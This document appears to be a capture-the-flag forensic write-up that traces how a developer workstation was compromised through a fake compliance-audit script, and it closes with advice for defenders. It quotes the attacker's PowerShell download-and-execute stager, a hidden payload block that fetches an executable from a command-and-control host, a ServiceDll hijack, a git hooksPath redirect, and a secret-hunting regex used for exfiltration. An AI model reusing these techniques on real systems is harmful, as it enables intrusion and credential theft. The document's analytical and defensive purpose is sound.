CodeFreeze

Scenario

Caspery, a senior developer at Wowza Enterprise, reported that his git commit commands were taking unusually long to complete. Days later, the Threat Intelligence team found Caspery’s credentials and API keys actively traded on a dark web forum. A forensic image of his workstation was acquired for analysis.

Methodology

Initial Access — Social Engineering via Google Meet

Browser history from the Zen Browser profile (places.sqlite) was opened in DB Browser for SQLite. The moz_places table surfaced a Google Meet session (meet.google.com/vqe-xhmi-jtn) followed immediately by a local HTML file being opened from disk:

file:///C:/Users/caspery/wowza/DevCompliance_20260121_200407.html

The HTML file was a convincingly styled “Compliance Report” — an audit score lure generated to make the attack feel legitimate. The filename timestamp (20260121_200407) pinpoints delivery to 2026-01-21 at 20:04. The attacker posed as an auditor during the Google Meet session and instructed Caspery to paste a PowerShell command into his terminal.

Execution — Encoded PowerShell Stager

PSReadLine history (ConsoleHost_history.txt) revealed the stager command mid-session between normal development activity:

powershell.exe -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3...

Decoding the Base64+UTF-16LE blob in CyberChef resolves to:

IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/ChickenLoner/486137f8a96668b4e9778ce43458fd2e/raw/4402acda06f89254c4fee1e8bb8a5cef6401745f/Dev-Workstation-Assessment.ps1')

The script (Dev-Workstation-Assessment.ps1) is a fully functional developer compliance checker with a hidden payload module appended at the bottom. The legitimate-looking output — toolchain checks, security hygiene scoring, HTML report generation — provides cover while the malicious section executes silently inside a Start-Job block:

Start-Job -ScriptBlock {
    $url = "http://speecltest.xyz/cf.exe"
    $target = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "6.exe")
    $wc = New-Object System.Net.WebClient
    $wc.DownloadFile($url, $target)
    $f = Get-Item $target -Force; $f.Attributes = "Hidden"
    Start-Process $target -WindowStyle Hidden
} | Out-Null

The binary downloads to C:\Users\caspery\AppData\Local\Temp\6.exe, is immediately hidden, and executed without a window. Reviewing the Gist revision history reveals the attacker originally tested against security-compliance.internal.corp before switching to the live C2 domain speecltest.xyz.

MFT analysis confirmed 6.exe was written to disk at 2026-01-21 13:04:32, matching the PSReadLine timestamp.

Enumeration — Backup Operators Discovery via Injected notepad.exe

With the C2 agent running, the attacker enumerated local security group membership. Windows logs this activity as Security Event ID 4799 (“A security-enabled local group membership was enumerated”), which records the calling process. Filtering Security.evtx for 4799 events after 6.exe executed at 13:04:32 surfaced a cluster at 2026-01-21 13:10:32 that stood apart from the routine SYSTEM-context enumerations:

TargetUserName:    Backup Operators / Users
SubjectUserSid:    S-1-5-21-3347199008-454752828-3392572726-1001 (caspery)
CallerProcessId:   0x201c (8220)
CallerProcessName: C:\Windows\System32\notepad.exe

Every other 4799 event was a benign svchost.exe query running under SYSTEM (S-1-5-18). This one was different — it ran in Caspery’s user context and the caller was notepad.exe, which has no legitimate reason to enumerate group membership. 6.exe had injected into notepad.exe, a quiet always-available process in the user session, and used it to probe the host’s group structure. The enumeration revealed that Caspery’s account belonged to the Backup Operators group, which grants SeBackupPrivilege and SeRestorePrivilege — the ability to read and write any file or registry key on the system regardless of ACLs, without requiring full Administrator rights. That privilege is what made the subsequent service hijack possible.

Privilege Escalation — DLL Hijacking via wisvc

With Backup Operators privileges in hand, the attacker could write to restricted registry paths. MFT analysis filtered for .dll files created after 13:04:32 on 2026-01-21 surfaced a suspicious entry:

C:\ProgramData\AnyDesk\gcapl.dll    Created: 2026-01-21 13:14:50

AnyDesk had been installed on the workstation (confirmed via Edge download history). The legitimate gcapi.dll sits in C:\Program Files (x86)\AnyDesk\ — the attacker named their malicious DLL gcapl.dll (extra l) and dropped it into C:\ProgramData\AnyDesk\ to intercept DLL search order resolution.

Twelve seconds after the DLL was dropped, Registry Explorer revealed the wisvc (Windows Insider Service) service was modified:

HKLM\SYSTEM\ControlSet001\Services\wisvc\Parameters
ServiceDll = C:\ProgramData\AnyDesk\gcapl.dll
LastWrite:  2026-01-21 13:15:02

The wisvc service runs inside the svchost.exe -k netsvcs group under SYSTEM. Modifying its ServiceDll via SeRestorePrivilege required no UAC prompt — a silent privilege escalation path. The attacker then waited for a system reboot.

Post-Reboot — DLL Loads and Persistence Installed

The System event log confirmed the OS restarted at 2026-01-22 11:36 (Kernel power events). Within 90 seconds of boot, MFT showed a log file written by the DLL:

C:\Windows\Temp\wisvc_debug.log    Created: 2026-01-22 11:38:11

The log filename blends into legitimate Windows diagnostics. With SYSTEM privileges now established, the attacker installed a fake monitoring service at 11:46:23:

ServiceName:  System Monitor
ImagePath:    C:\Windows\Sysmon.exe
AccountName:  LocalSystem

This is a direct Sysmon impersonation — identical display name, plausible binary path. To complete the disguise, a fake Sysmon operational event log was dropped at 2026-01-22 11:47:39:

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx

Opening the file reveals an ElfFile header followed entirely by null bytes — a stub to simulate logging history.

Exfiltration — Git Pre-Commit Hook

At 2026-01-22 12:50:22, the attacker dropped a pre-commit hook into a global hooks directory:

C:\ProgramData\.git-hooks\pre-commit    Created: 2026-01-22 12:50:22

At 13:07, the Git system-wide configuration file was modified to redirect all hook execution to this directory:

C:\Users\caspery\AppData\Local\Programs\Git\etc\gitconfig
core.hooksPath = C:\ProgramData\.git-hooks

This applied globally — every git commit on the machine would now trigger the planted hook. The pre-commit file was subsequently deleted, but bstrings against the pagefile recovered the GitHub URL hosting the exfiltration payload:

https://gist.githubusercontent.com/ChickenLoner/d59b614c1e9ed09edf98500e36ab4361/raw/

The script (secret.sh) runs a full credential scan on first execution then staged-only scans on subsequent commits, hunting for:

password|api[_-]?key|secret|token|aws[_-]?access|private[_-]?key|BEGIN.*PRIVATE.*KEY|DB_PASSWORD|POSTGRES|MYSQL_PASSWORD

A marker file (.git-scanner-init) is written to %USERPROFILE% after the initial full scan to prevent duplicate exfiltration of the complete repository. All collected data is POSTed to:

http://speecltest.xyz/upload

MFT confirmed .git-scanner-init was created at 2026-01-22 13:10:53, timestamping the first execution. Cross-referencing the webpage git log revealed three commits triggered the hook after core.hooksPath was set — “delete logs” (13:10:39), “add gitignore” (13:16:28), and “Task scheduler friendly” (13:33:19). The first triggering commit hash:

Caspery’s admin_data.json from the Wowza Enterprise web application (C:\Users\caspery\wowza\wowweb\webpage\admin_data.json) was identified in the Recycle Bin metadata as a deleted file — the credentials and API keys captured from this file are what surfaced on the dark web forum.

Attack Summary

IOCs

MITRE ATT&CK

Defender Takeaways

Git global hook path monitoring — The attacker’s entire exfiltration mechanism depended on modifying core.hooksPath in the system-wide gitconfig. Monitoring writes to %ProgramFiles%\Git\etc\gitconfig and any user .gitconfig for hooksPath entries is a high-fidelity detection. SACL auditing on these files costs almost nothing and would have caught this immediately.

Backup Operators is a privileged group — It is frequently overlooked compared to Domain Admins but grants SeBackupPrivilege and SeRestorePrivilege, which allow writing to any registry key and file on the system regardless of ACLs. Developer workstations have no business reason to have users in this group. Regular audits of local group membership, particularly Backup Operators and Remote Desktop Users, should be standard practice.

DLL search order abuse via ProgramData — Writing to C:\ProgramData\<AppName>\ is achievable by any user without elevation on a default Windows install. Applications that load DLLs from ProgramData directories are vulnerable to this technique. Software vendors should use absolute paths for DLL loading, and defenders should monitor for .dll writes to ProgramData subdirectories.

Social engineering targeting developers — The fake compliance audit was convincing precisely because it ran real checks and produced real output. Developer culture of “run this command to check your environment” is a well-understood attack surface. Security awareness training for developers should specifically address unsolicited audit scripts, even from apparent colleagues or authority figures on video calls.

Credential hygiene in git repositories — The exfil script found real secrets in the repository because they were committed in plaintext. Pre-commit hooks designed to prevent secret commits (e.g. detect-secrets, git-secrets) are the correct technical control here — the attacker weaponised the hook mechanism precisely because it runs before the commit is finalised. Combining secret scanning with short-lived API keys and automated rotation limits the blast radius when exfiltration does occur.